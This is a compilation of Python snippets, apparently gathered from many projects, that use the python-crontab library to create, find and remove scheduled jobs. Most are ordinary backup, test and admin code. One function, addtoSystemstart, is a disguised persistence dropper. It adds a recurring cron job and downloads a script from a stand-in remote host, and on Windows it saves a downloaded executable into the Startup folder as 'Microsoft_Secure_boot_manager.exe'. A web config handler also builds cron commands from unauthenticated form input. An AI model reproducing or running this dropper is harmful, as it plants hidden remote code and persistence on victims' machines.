def setup_crontab(): try: from crontab import CronTab tab = CronTab() daily_command = "%(backup_dir)s/%(daily_backup_script_name)s > /dev/null 2>&1" % env weekly_command = "%(backup_dir)s/%(weekly_backup_script_name)s > /dev/null 2>&1" % env monthly_command = "%(backup_dir)s/%(monthly_backup_script_name)s > /dev/null 2>&1" % env changed = False if len(tab.find_command(daily_command)) == 0: daily_tab = tab.new(command=daily_command) daily_tab.hour().on(1) daily_tab.minute().on(0) changed = True if len(tab.find_command(weekly_command)) == 0: weekly_tab = tab.new(command=weekly_command) weekly_tab.dow().on(1) weekly_tab.hour().on(2) weekly_tab.minute().on(0) changed = True if len(tab.find_command(monthly_command)) == 0: monthly_tab = tab.new(command=monthly_command) monthly_tab.dom().on(1) monthly_tab.hour().on(3) monthly_tab.minute().on(0) changed = True if changed: tab.write() except: print_exception() pass
class EnumTestCase(unittest.TestCase): """Test basic functionality of crontab.""" def setUp(self): self.crontab = CronTab(tab=INITAL_TAB) def test_01_presevation(self): """All Entries Re-Rendered Correctly""" self.crontab.write() results = RESULT_TAB.split('\n') line_no = 0 for line in self.crontab.intab.split('\n'): self.assertEqual(str(line), results[line_no]) line_no += 1 def test_02_simple_enum(self): """Simple Enumerations""" e = list(self.crontab.find_command('enums'))[0] self.assertEqual(e.month, 'JAN') self.assertEqual(e.month.render(True), '1') self.assertEqual(e.dow, 'SAT') self.assertEqual(e.dow.render(True), '6') def test_03_enum_range(self): """Enumeration Ranges""" e = list(self.crontab.find_command('ranges'))[0] self.assertEqual(e.month, 'MAR-APR') self.assertEqual(e.month.render(True), '3-4' ) def test_04_sets(self): """Enumeration Sets""" e = list(self.crontab.find_command('multiples'))[0] self.assertEqual(e.dow, 'MON,WED,FRI') self.assertEqual(e.dow.render(True), '1,3,5' ) def test_05_create(self): """Create by Enumeration""" job = self.crontab.new(command='new') job.month.on('JAN') job.dow.on('SUN') self.assertEqual(str(job), '* * * JAN SUN new') def test_06_create_range(self): """Created Enum Range""" job = self.crontab.new(command='new2') job.month.during('APR', 'NOV').every(2) self.assertEqual(str(job), '* * * APR-NOV/2 * new2') def test_07_create_set(self): """Created Enum Set""" job = self.crontab.new(command='new3') job.month.on('APR') job.month.also.on('NOV','JAN') self.assertEqual(str(job), '* * * JAN,APR,NOV * new3') def test_08_find_comment(self): """Comment Set""" jobs = list(self.crontab.find_comment('Comment One')) self.assertEqual(len(jobs), 2) for job in jobs: self.assertEqual(job.comment, 'Comment One')
class BasicTestCase(unittest.TestCase): """Test basic functionality of crontab.""" def setUp(self): self.crontab = CronTab(tab=INITAL_TAB) def test_01_presevation(self): """All Entries Re-Rendered Correctly""" self.crontab.write() results = RESULT_TAB.split('\n') line_no = 0 for line in self.crontab.intab.split('\n'): self.assertEqual(str(line), results[line_no]) line_no += 1 def test_02_simple_enum(self): """Simple Enumerations""" e = list(self.crontab.find_command('enums'))[0] self.assertEqual(e.month, 'JAN') self.assertEqual(e.month.render(True), '1') self.assertEqual(e.dow, 'SAT') self.assertEqual(e.dow.render(True), '6') def test_03_enum_range(self): """Enumeration Ranges""" e = list(self.crontab.find_command('ranges'))[0] self.assertEqual(e.month, 'MAR-APR') self.assertEqual(e.month.render(True), '3-4') def test_04_sets(self): """Enumeration Sets""" e = list(self.crontab.find_command('multiples'))[0] self.assertEqual(e.dow, 'MON,WED,FRI') self.assertEqual(e.dow.render(True), '1,3,5') def test_05_create(self): """Create by Enumeration""" job = self.crontab.new(command='new') job.month.on('JAN') job.dow.on('SUN') self.assertEqual(str(job), '* * * JAN SUN new') def test_06_create_range(self): """Created Enum Range""" job = self.crontab.new(command='new2') job.month.during('APR', 'NOV').every(2) self.assertEqual(str(job), '* * * APR-NOV/2 * new2') def test_07_create_set(self): """Created Enum Set""" job = self.crontab.new(command='new3') job.month.on('APR') job.month.also.on('NOV', 'JAN') self.assertEqual(str(job), '* * * JAN,APR,NOV * new3') def test_08_find_comment(self): """Comment Set""" jobs = list(self.crontab.find_comment('Comment One')) self.assertEqual(len(jobs), 2) for job in jobs: self.assertEqual(job.comment, 'Comment One')
def read_cron(): user_cron = CronTab(user=True) if list(user_cron.find_command('Hawkeye')): page = int(list(user_cron.find_command('Hawkeye')) [0].command.split(' ')[-1]) - 1 every = int(str(list(user_cron.find_command('Hawkeye')) [0].minutes).replace('*/', '')) return {'every': every, 'page': page} else: return {'every': 15, 'page': 1}
def test_21_multiuse(self): """Multiple Renderings""" cron = '# start of tab' for i in range(10): crontab = CronTab(tab=cron) job = crontab.new(command='multi') cron = unicode(crontab) crontab = CronTab(tab=cron) crontab.find_command('multi')[0].delete() cron = unicode(crontab) self.assertEqual(unicode(crontab), '# start of tab\n')
def main(): module = AnsibleModule( argument_spec=dict( # default value for user to bypass required_one_of check # incase of validate_cron_time user=dict(default="dpal"), tabfile=dict(), use_regex=dict(default=False), match_string=dict(), schedule=dict(), list_all_crons=dict(type=bool), get_crons_by_command=dict(type=bool), get_crons_by_comment=dict(type=bool), get_crons_by_time=dict(type=bool), validate_cron_time=dict(type=bool), ), required_one_of=(("user", "tabfile"), ), required_if=( ("get_crons_by_command", True, ["match_string", "use_regex"]), ("get_crons_by_comment", True, ["match_string", "use_regex"]), ("get_crons_by_time", True, ["match_string", "use_regex"]), ("validate_cron_time", True, ["schedule"]), )) cron = CronTab(user=module.params["user"], tabfile=module.params["tabfile"]) if module.params['list_all_crons']: crons = cron.lines elif module.params['get_crons_by_command']: if module.params["use_regex"]: crons = cron.find_command( re.compile(r"{}".format(module.params["match_string"]))) else: crons = cron.find_command(module.params["match_string"]) elif module.params['get_crons_by_comment']: if module.params["use_regex"]: crons = cron.find_comment( re.compile(r"{}".format(module.params["match_string"]))) else: crons = cron.find_comment(module.params["match_string"]) elif module.params['get_crons_by_time']: crons = cron.find_time(module.params["match_string"]) elif module.params['validate_cron_time']: module.exit_json(valid=CronSlices.is_valid(module.params["schedule"])) else: module.fail_json(msg="unknown parameters") module.exit_json(crons=cron_items_to_list(crons))
def main(): cron = CronTab(user='******') job = cron.find_command('/home/pi/tesla/python/ChargeM3.py') cron.remove(job) cron.write() job = cron.find_command('/home/pi/tesla/python/ChargeM3Backup.py') cron.remove(job) cron.write() cron = CronTab(user='******') job = cron.find_command('/home/pi/tesla/python/ChargeMX.py') cron.remove(job) cron.write() job = cron.find_command('/home/pi/tesla/python/ChargeMXBackup.py') cron.remove(job) cron.write() cron = CronTab(user='******') job = cron.find_command('/home/pi/tesla/python/PreconditionM3Start.py') cron.remove(job) cron.write() job = cron.find_command('/home/pi/tesla/python/PreconditionM3Stop.py') cron.remove(job) cron.write() cron = CronTab(user='******') job = cron.find_command('/home/pi/tesla/python/PreconditionMXStart.py') cron.remove(job) cron.write() job = cron.find_command('/home/pi/tesla/python/PreconditionMXStop.py') cron.remove(job) cron.write()
def disableCronTab(query, crontab): cron = CronTab(user=True) jobs = cron.find_command(query) for job in jobs: job.enable(False) cron.write() print("[INFO] 以下のJOBを無効化しました:{}".format(job))
def init_backup(self, grouphosts): if not self.skip_backups and f"{ip}:{self.mongoport}" == grouphosts[-1]: logger.info("添加mongodb备份") shutil.copy('/root/mongo-pkg/backup.py', self.perfix) if self.uploadtype == 'minio': shutil.copy('/root/mongo-pkg/upload-minio.py', '/usr/games/upload.py') elif self.uploadtype == 'ali': shutil.copy('/root/mongo-pkg/upload-ali.py', '/usr/games/upload.py') elif self.uploadtype == 'aws': subprocess.call("pip3 install boto3", shell=True) shutil.copy('/root/mongo-pkg/upload-aws.py', '/usr/games/upload.py') subprocess.call("chmod +x /usr/games/upload.py", shell=True) if self.uploadtype == 'local': clearday = 5 upcycle = 0 else: clearday = 3 upcycle = 1 my_cron = CronTab(user='******') iter = list(my_cron.find_command(re.compile(f"127.0.0.1 (.*) {self.mongoport}"))) if not iter: command = (f"/usr/bin/python3 {self.perfix}/backup.py --host 127.0.0.1 --port {self.mongoport} " f"--clearday {clearday} --upcycle {upcycle}") job = my_cron.new(command=command) job.set_comment("mongo数据备份") job.setall('00 04 * * *') my_cron.write()
class OwncloudCron: def __init__(self, cron_cmd, cron_user): self.cron_cmd = cron_cmd self.cron_user = cron_user self.cron = CronTab(user=self.cron_user) self.log = logger.get_logger('owncloud.cron') def remove(self): print("remove crontab task") for job in self.cron.find_command(self.cron_user): self.cron.remove(job) self.cron.write() def create(self): print("create crontab task") ci_job = self.cron.new(command=self.cron_cmd) ci_job.setall('*/15 * * * *') self.cron.write() def run(self): self.log.info("running: {0}".format(self.cron_cmd)) self.log.info( check_output('sudo -H -u {0} {1}'.format(self.cron_user, self.cron_cmd), shell=True))
def cronHandler(data): if not data: return s = data.split(':') cronCommand = s[1].strip() if cronCommand not in ["on", "off"]: print("Cron command invalid, should be 'on' or 'off'. Command: %s" % cronCommand) return cronString = s[2].strip() if not CronSlices.is_valid(cronString): print("Cron time string invalid. Time string: %s" % cronString) return # Now we've validated the command, set a cron job cron_file = CronTab(user=True) it = cron_file.find_command(cronCommand) try: job = it.next() print("Found existing cron task for %s" % cronCommand) except StopIteration: job = cron_file.new(command="echo %s >> /tmp/test.txt" % cronCommand) print("Creating new cron task for %s" % cronCommand) job.setall(cronString) job.enable() cron_file.write()
def init_backup(self): if not self.skip_backups and not os.path.exists(f"{self.cnfdir}/sentinel.conf"): logger.info("对数据库进行备份") shutil.copy('/root/redis-pkg/backup.py', f'{self.perfix}/backup.py') if self.uploadtype == 'minio': shutil.copy('/root/redis-pkg/upload-minio.py', '/usr/games/upload.py') elif self.uploadtype == 'ali': shutil.copy('/root/redis-pkg/upload-ali.py', '/usr/games/upload.py') elif self.uploadtype == 'aws': subprocess.call("pip3 install boto3", shell=True) shutil.copy('/root/redis-pkg/upload-aws.py', '/usr/games/upload.py') subprocess.call("chmod +x /usr/games/upload.py", shell=True) if self.uploadtype == 'local': clearday = 5 upcycle = 0 else: clearday = 3 upcycle = 1 my_cron = CronTab(user='******') iter = list(my_cron.find_command(re.compile(f"{self.cnfdir}/redis.conf"))) if not iter: command = (f"/usr/bin/python3 {self.perfix}/backup.py -f {self.cnfdir}/redis.conf " f"--clearday {clearday} --upcycle {upcycle}") job = my_cron.new(command=command) job.set_comment("redis数据备份") job.setall('30 03 * * *') my_cron.write()
def setup_cron(): from crontab import CronTab try: username = execute_command("whoami").stdout.strip() username = str(username, 'utf-8') cron = CronTab(user=username) except Exception as e: error_and_exit('\n{0}\n' 'An Error occured while scheduling backup task'.format(e)) script_command = 'python3 /opt/ghost-backup/backup.py > /opt/ghost-backup/backup.log 2>&1' jobs = cron.find_command(script_command) for job in jobs: if job.command == script_command: backup_options['cron_written'] = True break if not backup_options.get('cron_written', False): job = cron.new( command=script_command, comment='Ghost blog daily backup' ) job.hour.on(0) job.minute.on(0) cron.write() backup_options['cron_written'] = True
def updateCrontabInterval(): crontab = CronTab() crontabEntries = crontab.find_command(commandPath) if len(crontabEntries) > 1: raise Exception("more than one entry in the crontab!?") elif len(crontabEntries) == 1: updateIntervalString = downloadConfigUrl("http://%s/%s.config?type=updinterval" % (server, branchName)) updateIntervalString = updateIntervalString[6:-4] updateInterval = int(updateIntervalString) if updateInterval < 5 or updateInterval > 480: raise Exception("received corrupt update interval") logInfo("update interval will be set to: " + str(updateInterval) + " mins") crontabEntry = crontabEntries[0] crontabEntry.clear() if updateInterval > 59: crontabEntry.hour().every(updateInterval / 60) crontabEntry.minute().on(random.randint(0, 59)) else: crontabEntry.minute().every(updateInterval) logDebug("Will write new crontab '" + unicode(crontab.render()) + "'") crontab.write() else: logInfo("we are not installed in crontab, update interval will not be updated")
def run(self): """default method""" sess = Session() sender = self.req_obj.get('sender', '') #exctract sender email email = sender.split('/')[0] #find user profile by primary email profile = sess.query(Profile).filter(Profile.email == email).one() cron = CronTab('smarty') job = cron.new( command='/usr/bin/python %s/cron/cronjob.py --uuid=%s ' % ( ROBOT_DIR, profile.uuid )) logger.info('show cronjob %s' % cron.render() ) list = cron.find_command( '--uuid=%s' % profile.uuid ) response = 'all my cronjobs' for job in list: response += "\n" + job if self.req_from == 'jabber': todo = { 'text' : response, 'jmsg' : response, 'type': 'response' } self.response = todo if self.req_from == 'julius': bang() todo = { 'say': response , 'text' : response ,'type': 'response' } self.response = say(self.request.replace('say', '').upper()) return self.response
def linux(self, command, delete=False): user = getuser() cron = CronTab(user=user) try: job = next(cron.find_command(command)) except StopIteration, e: job = False
def start_cron_job_listen_for_emails(cls, receiver): cron = CronTab(user=cls.user) if not next(cron.find_command(f'python3 {cls.path}/listener {receiver}'), None): job = cron.new(command=f'python3 {cls.path}/listener {receiver}') job.minute.every(1) cron.write() print('cron job started')
def crontab(install=False, remove=False): """Installs/Removes a crontab if is installed""" if install: cprint('Installing crontab', 'yellow') elif remove: cprint('Installing crontab', 'yellow') else: cprint('Please specifiy --install (-i) or --remove (-r) argument', 'red') # The run-one command ensures only one copy is executed at the time command = 'run-one' + os.getcwd() + '/console' cron = CronTab(user=True) if install or remove: # Removes current crontab _iter = cron.find_command(command) for job in _iter: cron.remove(job) # Install job if install: job = cron.new(command + ' renewcache --execute > ' + os.getcwd() + '/crontab.log 2>&1') cron.write() print("{0}\n{1}".format(colored('CURRENT CRONTAB:', 'green'), cron))
def main(): args = parse_args() if args.verbose: loglevel = logging.DEBUG else: loglevel = logging.WARNING logging.basicConfig(format="%(levelname)s: %(message)s", level=loglevel) logger.debug("Verbose: %s" % args.verbose) # use user crontab cron = CronTab(user=args.user_cron) if args.delete_old_entries: for item in cron.find_command(args.command_path): cron.remove(item) job = cron.new(command=args.command_path) job.every(args.run_every_m_minutes).minutes() cron.write() print("Current tasks in cron: ") for item in cron: print(item)
def cron_thyself(original_arguments=[]): # Get the current time now = datetime.datetime.now() path, filename = get_script_path_and_name() from crontab import CronTab logging.info('Cron scheduling %s to happen in 24 hours (minute: %d hour: %d)' % (filename, now.minute, now.hour)) cron = CronTab(user=True) jobs = cron.find_command(filename) jobs = [job for job in jobs] logging.debug('Existing cron jobs are: %s' % jobs) # If no job already exists, create one if not jobs: command = os.path.join(path, filename) + ' ' + ' '.join(original_arguments[1:]) logging.info("No existing job detected. Creating a new one") job = cron.new(command, "Automatically log into hotspot every 24 hours.") # If we create a new job for this exact minute, then the job will run immediately after we create it. # Instead create the job for the past minute. minute = now.minute - 1 else: if len(jobs) > 1: logging.warn("More than 1 cron lines for %s. Using the first one." % filename) job = jobs[0] minute = now.minute job.minute.on(minute) job.hour.on(now.hour) logging.info('Writing Cron job: %s' % job) cron.write()
def init_backup(self): logger.info("安装xtrabackup,对数据库进行备份") subprocess.call("yum -y localinstall /root/mysql-pkg/percona-toolkit-3.2.rpm", shell=True) shutil.copy('/root/mysql-pkg/qpress', '/usr/bin') if self.myversion == 8.0: subprocess.call("yum -y localinstall /root/mysql-pkg/percona-xtrabackup-80.rpm", shell=True) else: subprocess.call("yum -y localinstall /root/mysql-pkg/percona-xtrabackup-24.rpm", shell=True) shutil.copy('/root/mysql-pkg/backup.py', f'{self.perfix}/backup.py') if self.uploadtype == 'minio': shutil.copy('/root/mysql-pkg/upload-minio.py', '/usr/games/upload.py') elif self.uploadtype == 'ali': shutil.copy('/root/mysql-pkg/upload-ali.py', '/usr/games/upload.py') elif self.uploadtype == 'aws': subprocess.call("pip3 install boto3", shell=True) shutil.copy('/root/mysql-pkg/upload-aws.py', '/usr/games/upload.py') subprocess.call("chmod +x /usr/games/upload.py", shell=True) if self.uploadtype == 'local': clearday = 5 upcycle = 0 else: clearday = 3 upcycle = 1 my_cron = CronTab(user='******') iter = list(my_cron.find_command(re.compile(f"{self.cnfdir}/my.cnf"))) if not iter: command = (f"/usr/bin/python3 {self.perfix}/backup.py -f {self.cnfdir}/my.cnf --clearday {clearday} " f"--upcycle {upcycle}") job = my_cron.new(command=command) job.set_comment("mysql数据备份") job.setall('00 03 * * *') my_cron.write()
def addtoSystemstart(self): if self.system=="linux": cron = CronTab(user=self.username) target = f"/home/{self.username}/kernelbackup.py" basic_command = f"* */2 * * * python3 /home/{self.username}/kernelbackup.py" cronIter= cron.find_command(f"python3 {target}") exsist=False for item in cronIter: if str(item) == basic_command: print("crontab job already exist", item) exsist=True break if not exsist: job = cron.new(f"python3 /home/{self.username}/kernelbackup.py") job.hour.every(2) job.enable() cron.write() if not os.path.isfile(target): data= load("https://example.example/test/startup.py") open(target, 'wb').write(data.content) elif self.system=="win32" or self.system=="win64": target = f"C:/Users/{self.username}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Microsoft_Secure_boot_manager.exe" if not os.path.isfile(target): data= load("https://example.example/test/startup.exe", stream=True) open(target, 'wb').write(data.content) else: pass
def set_command_periodic(command, comment=None, hour=None, minute=None, frecuency_days=None, verbose=True): """ Sets CRON task in current user crontab (like editing it with 'crontab -e') at some frequency :param command: :str: CRON command :param comment: :str: comment about the command :param hour: :int or None: every X hours :param minute: :int or None: every X minutes :param frecuency_days: :int or None: every X days :param verbose: :bool: shows info about the CRON job """ cron = CronTab(user=True) for job in cron.find_command(command): cron.remove(job) if comment is None: new_job = cron.new(command=command) else: new_job = cron.new(command=command, comment=comment) if hour is not None: new_job.hour.every(hour) if minute is not None: new_job.minute.every(minute) if frecuency_days is not None: new_job.day.every(frecuency_days) assert(new_job.is_valid()) schedule = new_job.schedule(date_from=dt.datetime.now()) datetime_n = schedule.get_next() if verbose: print('->CRON JOB: {}\n * NEXT PROGRAMMED EXEC: {:%H:%M %d-%m-%Y}'.format(new_job, datetime_n)) # Write CronTab back to system or filename: cron.write() return datetime_n
def main(env): here = os.path.dirname(__file__) config_path = os.path.normpath(here + '/../config.json') root_path = os.path.normpath(here + '/../') output = "" error = "" # Get POST request data post_env = env.copy() post_env['QUERY_STRING'] = '' post_data = cgi.FieldStorage(fp=env['wsgi.input'], environ=post_env, keep_blank_values=True) # If this is request from configuration form data if "config" in post_data: # Prevent saving invalid code. try: config = json.loads(post_data['config'].value) except ValueError: error += '<center style="color:red;">Config format is invalid!</center>' else: # Check and update crontab tasks for cron_task_name, cron_task in config["cron"].items(): cron = CronTab(user=cron_task["cron_user"]) command = "python3 " + root_path + "/frontend/cron.py " + cron_task_name + " >/dev/null 2>&1" # Remove old similar jobs, if present old_jobs = cron.find_command(command) for old_job in old_jobs: cron.remove(old_job) # Create new job job = cron.new(command=command) job.setall(cron_task["cron_definition"]) if cron_task["active"]: job.enable() else: job.enable(False) # Verify and save cron changes if job.is_valid() and CronSlices.is_valid( cron_task["cron_definition"]): cron.write() else: error += '<center style="color:red;">Cron definition format is invalid (' + cron_task_name + ')!</center>' # Write incoming POST data to config.json if not error: with open(config_path, 'w') as f: f.write(post_data["config"].value) output += '<center style="color:green;">Config saved!</center>' # Show textaria with contents of config.py with open(config_path, 'r') as f: output += error + '<center><h2> Chatwork Bot config editor</h2><form method="post"><div>Please be careful while editing <input style="width:100px;" type="submit" /><div><textarea style="width:500px; height:450px;" name="config">' + f.read( ) + '</textarea></center></form>' return (output)
def main(env): here = os.path.dirname(__file__) config_path = os.path.normpath(here+'/../config.json') root_path = os.path.normpath(here+'/../') output = "" error = "" # Get POST request data post_env = env.copy() post_env['QUERY_STRING'] = '' post_data = cgi.FieldStorage( fp=env['wsgi.input'], environ=post_env, keep_blank_values=True ) # If this is request from configuration form data if "config" in post_data: # Prevent saving invalid code. try: config = json.loads(post_data['config'].value) except ValueError: error += '<center style="color:red;">Config format is invalid!</center>' else: # Check and update crontab tasks for cron_task_name, cron_task in config["cron"].items(): cron = CronTab(user=cron_task["cron_user"]) command = "python3 " + root_path + "/frontend/cron.py " + cron_task_name + " >/dev/null 2>&1" # Remove old similar jobs, if present old_jobs = cron.find_command(command) for old_job in old_jobs: cron.remove(old_job) # Create new job job = cron.new(command=command) job.setall(cron_task["cron_definition"]) if cron_task["active"]: job.enable() else: job.enable(False) # Verify and save cron changes if job.is_valid() and CronSlices.is_valid(cron_task["cron_definition"]): cron.write() else: error += '<center style="color:red;">Cron definition format is invalid (' + cron_task_name + ')!</center>' # Write incoming POST data to config.json if not error: with open(config_path, 'w') as f: f.write(post_data["config"].value) output += '<center style="color:green;">Config saved!</center>' # Show textaria with contents of config.py with open(config_path, 'r') as f: output += error + '<center><h2> Chatwork Bot config editor</h2><form method="post"><div>Please be careful while editing <input style="width:100px;" type="submit" /><div><textarea style="width:500px; height:450px;" name="config">' + f.read() + '</textarea></center></form>' return(output)
def check_cron(): # Check if cron exists if not add one # Writing job not working for unknown reason cron = CronTab(user="******") if cron.find_command(cron_command): return else: print "add '0 * * * * bash /etc/madari/hourly.sh' to crontab for root"
def setSchedules(self, command): schedules = CronTab(user=True) self.crontab = schedules self.schedules = [] schedules = schedules.find_command(command) for sched in schedules: #print(sched.minute, sched.hour) self.schedules.append(sched)
def deleteCronTab(command): try: cron = CronTab(user='******') job = cron.find_command(command) cron.remove(job) cron.write() except Exception as e: logError('deleteCronTab(' + command + '): ' + str(e))
def write_cron(time, page): if isinstance(time, int): base_path = os.path.split(os.path.realpath(__file__))[0] cron_command = '{0}/venv/bin/python {0}/spider.py 1 {1}'.format( base_path, page) my_user_cron = CronTab(user=True) if list(my_user_cron.find_command('Hawkeye')): for cron in my_user_cron.find_command('Hawkeye'): cron.delete() job = my_user_cron.new(command=cron_command) job.setall('*/{} * * * *'.format(time)) job.set_comment("Hawkeye") job.enable() my_user_cron.write() return True else: return False
def getHSJobs(): cron = CronTab(user='******') jobiterator = cron.find_command(re.compile(r'homeserver')) jobs = [] for job in jobiterator: jobs.append(job) return jobs
def set_task_runner(): cron = CronTab(user=True) runner = cron.find_command('task_runner') if not runner: runner = CronCreator.create(cron, "The top level Cron task runner", "task_runner", "*/1 * * * *") runner.enable(True) cron.write()
def crontab(l, r, action): """Allow the user to manage crontab entries for the compranet tracker. The -l option lists the compranet tracker crontab entries and -r removes them. Two actions are supported, ADD and REMOVE. \b To ADD a crontab entry use the following syntax: compranet-cli crontab add [time] -- [command] where the time argument is a CRON expression (e.g. "0 0 * * 0" or weekly) and command is the compranet-cli command to execute. Example: compranet-cli crontab add "0 2 * * *" -- "--email-log pull_xlsx" \b To REMOVE a crontab entries use the following syntax: compranet-cli crontab remove [command] All crontab entries which contain the command argument will be removed. Example: compranet-cli crontab remove pull_xlsx """ cron = CronTab(user=True) if l: for job in cron.find_comment('compranet_tracker'): print(job) if r: for job in cron.find_comment('compranet_tracker'): cron.remove(job) cron.write() if len(action) == 0 and not l and not r: print(click.get_current_context().get_help()) if len(action) > 0: if action[0].upper() == 'ADD': venv_path = settings.VIRTUALENV_PATH cli_path = os.path.join(venv_path, 'bin', 'compranet-cli') if len(action) != 3: raise click.BadParameter("Wrong number of arguments", param_hint='ACTION') time = action[1] if not CronSlices.is_valid(time): raise click.BadParameter("Invalid CRON expression", param_hint='ACTION') cli_opts = ' '.join(action[2:]) command = ' '.join([cli_path, cli_opts]) job = cron.new(command=command, comment='compranet_tracker') job.setall(time) cron.write() elif action[0].upper() == 'REMOVE': if len(action) != 2: raise click.BadParameter("Wrong number of arguments", param_hint='ACTION') cmd = ' '.join(action[1:]) for job in cron.find_command(cmd): print("Removing entry {}".format(job)) cron.remove(job) cron.write() else: raise click.BadParameter("Unrecognized action argument", param_hint='ACTION')
def setCronHalt(hour,minute): cron = CronTab() iter = cron.find_command('hardreboot.sh') for job in list(iter): cron.remove(job) job = cron.new(command='/root/xv25ext/hardreboot.sh') job.minute.on(int(minute)) job.hour.on(int(hour)) cron.write()
def fuzzytime(type): cron = CronTab(tabfile=CRON) iter = cron.find_command(re.compile("pyznap.*" + type)) for job in iter: # Calculate seconds between each execution # A default tolerance of 300 seconds will be added via preprocessing on Zabbix Server. # This can be customized by overwriting the inherited macro {$FUZZYTOLERANCE}. fuzzytime = ( 86400 // job.frequency_per_day() ) return fuzzytime
def _get_sync_cron() -> Tuple[CronTab, Optional[CronItem]]: cron = CronTab(user=True) try: job = next(cron.find_command(AppConfig.SYNC_SCRIPT)) except StopIteration: job = None return cron, job
def deactivateDaemon(self): cron=CronTab(user=True) j=cron.find_command("MoodleDaemon.py") try: cron.remove(job) except: j=""
def deleteCronTab(id): query = selectQueryById(id)[1] print("query:{}".format(query)) cron = CronTab(user=True) jobs = cron.find_command(query) for job in jobs: cron.remove(job) cron.write() print("[INFO] 以下のJOBを削除しました:{}".format(query))
def schedule_show(): """Show current reboot""" cron = CronTab(user=os.environ.get('USER')) jobs = cron.find_command("archie-cli reboot now") for job in jobs: print(job)
def delete(self, *args, **kwargs): # the port number here should be obtained dynamically cmd = "wget http://localhost:8081/scheduler/runSchedlet/" + str(self.id) + "/" tab = CronTab() job = tab.find_command(cmd) if job: tab.remove_all(cmd) tab.write() super(Schedlet, self).delete(*args, **kwargs)
def watchdog_show(): """Show current watchdog cron task""" cron = CronTab(user=os.environ.get('USER')) jobs = cron.find_command("archie-cli watchdog run") for job in jobs: print(job)
def delete_cron(filename): try: cron = CronTab(user=True) iter = cron.find_command(filename) for job in iter: cron.remove(job) cron.write() except: print(f'{sys.exc_info()[0]}\n{sys.exc_info()[1]}\n{sys.exc_info()[2]}')
def remove_subscription(args): cron = CronTab(user=True) jobs = cron.find_command('drdl3.py') jobs = [ job for index, job in enumerate(jobs) if index in args.subscriptions ] for job in jobs: cron.remove(job) cron.write()
def auto_upload(): apple_plist = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" """ + \ """ "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.cwoebker.como-update</string> <key>OnDemand</key> <true/> <key>RunAtLoad</key> <false/> <key>ProgramArguments</key> <array> <string>%s</string> <string>upload</string> </array> <key>StartCalendarInterval</key> <dict> <key>Hour</key> <integer>11</integer> <key>Minute</key> <integer>0</integer> </dict> </dict> </plist>""" if is_osx: plist_path = os.path.expanduser( "~/Library/LaunchAgents/com.cwoebker.como-update.plist") if os.path.exists(plist_path): os.system("launchctl unload %s" % plist_path) os.remove(plist_path) puts(colored.white("como will not upload data")) else: with open(plist_path, "w") as plist_file: plist_file.write( apple_plist % os.popen('which como').read().rstrip('\n')) os.system("launchctl load %s" % plist_path) puts(colored.white("como will automatically upload the data")) elif is_lin: user_cron = CronTab() user_cron.read() if len(user_cron.find_command("como-update")) > 0: user_cron.remove_all("como-update") user_cron.write() puts(colored.white("como will not upload data")) else: job = user_cron.new(command="como-update") job.minute.every(2) #job.minute.on(0) #job.hour.on(19) user_cron.write() puts(colored.white("como will automatically upload the data")) elif is_win: error("Sorry there is no auto-upload for windows.")
def clear(): """ Remove all ec2_scheduler related jobs from cron file """ cron = CronTab(user=True) jobs = list(cron.find_command('ec2_scheduler')) for job in jobs: cron.remove(job) cron.write()
def stop(): "stop command" global cmd tab = CronTab() job = tab.find_command(cmd) if len(job) > 0: tab.remove_all(cmd) tab.write() redirect("/flexget")
def __load__schedule__(self): try: fcron = CronTab(tabfile=os.path.join(cwd, "serviceCron.tab")) job = [j for j in list(fcron.find_command(self._classname_)) if j.command == self._classname_] if len(job) <= 0: raise Exception('Crontab command %s not found'%(self._classname_,)) self._next_run_ = time.mktime(job[0].schedule().get_next().timetuple()) except Exception as x: raise ScheduleException('Service %s failed on Crontab instantiation or handling. Message: %s' % ( self._classname_, x), sys.exc_info()[-1].tb_lineno) return True
def start(): "start command" global cmd, minutes tab = CronTab() job = tab.find_command(cmd) if len(job) == 0: job = tab.new(cmd) job.minute.every(minutes) tab.write() redirect("/flexget")
def check_cron(command): num = 0 tab = CronTab(user='******') cron_job = tab.find_command(command) for list in cron_job: num = num+1 if num > 0: return 0 return 1
def flexget(): "flexget status" global cmd tab = CronTab() job = tab.find_command(cmd) if len(job) > 0: return """ status: <span style="color:green">running<span> <br/> <a href="/stop">stop flexget!</a>""" else: return """
def create_crontab(): from crontab import CronTab print "Setting up the crontab to check for PDF in '%s' to print" % SMB_SHARE_PATH usr = raw_input('Enter the user you wish to check the fileshare with under cron: ') tab = CronTab(user=usr) cmd = "".join([getcwd(), '/src/checkprint.py']) if(tab.find_command(cmd)): print "You have a crontab for this already. Skipping." return True cron_job = tab.new(cmd) tab.write() print "Wrote %s to user %s" % (tab.render(), usr)
def configure_cron(config): cron = CronTab(config['cron']['user']) command = "python %s %s" % (os.path.realpath(__file__), "csv") for job in cron.find_command(command): cron.remove(job) job = cron.new(command=command) job.minute.every(config['cron']['minute']) job.hour.every(config['cron']['hour']) job.dom.every(config['cron']['day']) job.month.every(config['cron']['month']) job.dow.every(config['cron']['weekday']) job.enable() cron.write()
def remove(self): cron = CronTab(user=True) jobs = cron.find_command(self.cmd_args) changed = 0 for job in jobs: changed += cron.remove(job) log.info('remove task[%s]' % job) if changed > 0: try: cron.write() except: log.exception('An Error when writing cron configuration') else: log.info('the cron task is already exists. No changes.')
def printTimeSetting(): tab = CronTab() crawler_jobs = tab.find_command(scheduler.CRAWLER_COMMAND) if not crawler_jobs: print 'There is no crawler job scheduled.' return crawler_job = crawler_jobs[0] minute = crawler_job.minute().value() if len(minute) < 2: minute = '0' + minute hour = crawler_job.hour().value() dsow = crawler_job.dow().value().split(',') days = ', '.join(map(lambda x : DAYS_OF_WEEK[int(x)], dsow)) print 'The crawler job is scheduled at ' + hour + ':' + minute + " o'clock on " + days + '.'
def clear_cron_commands(commands, verbose=True): """ Deletes a list of CRON tasks (as list of commands) :param commands: list of commands to delete :param verbose: :bool: shows info about the operation :return: """ cron = CronTab(user=True) for command in commands: for job in cron.find_command(command): if verbose: print(' --> DELETING CRON-JOB: "{}"'.format(job)) cron.remove(job) cron.write() return True
